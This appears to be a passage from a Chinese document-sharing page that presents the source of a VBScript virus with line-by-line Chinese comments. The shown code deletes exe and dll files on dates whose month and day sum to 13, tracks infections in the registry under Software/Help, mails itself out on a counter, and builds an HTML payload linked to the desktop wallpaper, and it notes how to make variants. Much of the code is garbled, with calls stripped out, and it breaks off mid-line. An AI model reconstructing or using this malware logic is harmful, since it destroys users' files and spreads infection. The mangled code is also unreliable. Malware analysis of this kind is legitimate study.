文档介绍：: .
无法显示链接的图像。该文件可能已被移动、重命Software/"
’使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
’如果是 VBS
If ("C:/") Then
("C:/")
’如果 c:/ 存在，就删掉，消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
’如果月与日之和为 13（这也是它变种多的原因——将 13 改为其他数字即可）
"exe", "0001"
"dll", "0001"
’就清空 Dictionary 数组，并将 exe、dll 加入 Dictionary 对象，以备删除
之用
End If
Cn = Rg(Ks & "Help/Count")
’读注册表中的 HKEY_CURRENT_USER/Software/Help/Count 键值
If Cn = "" Then
Cn = 1
’如果 Count 为 0，就设为 1
End If
Rw Ks & "Help/Count", Cn + 1
’添加 HKEY_CURRENT_USER/Software/Help/Count 键值，值为 2
f1 = Rg(Ks & "Help/FileName")
’再读 HKEY_CURRENT_USER/Software/Help/FileName 键值
f2 = FNext(Of, Od, f1)
’得到该文件的文件名
fext = GetExt(Of, Od, f2)
’得到该文件扩展名的代号
Rw Ks & "Help/FileName", f2
’添加键值
If IsDel(fext) Then
’如果扩展名代号的第四个字符为 1——即 0001(exe、dll)
f3 = f2
’储存文件名
f2 = FNext(Of, Od, f2)
’得到文件的文件名？
Rw Ks & "Help/FileName", f2
’写注册表
f3
’删除文件
Else
If LCase() <> LCase(f2) Then
’如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
’使用 Cint 函数强制执行转换，并发邮件
Tsend
Else
adds = OgMsend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")
If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
’比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "/"
Else
mP = (wp).ParentFolder
n1 = (wp)
n2 = (wp)
n3 = Cs & "/" & n2 & ".htm"
End If
Set pfc = (n3, True)
mt = Sa("1100")
’创建超文本
"<" & "HTML><" & "body bgcolor=’#00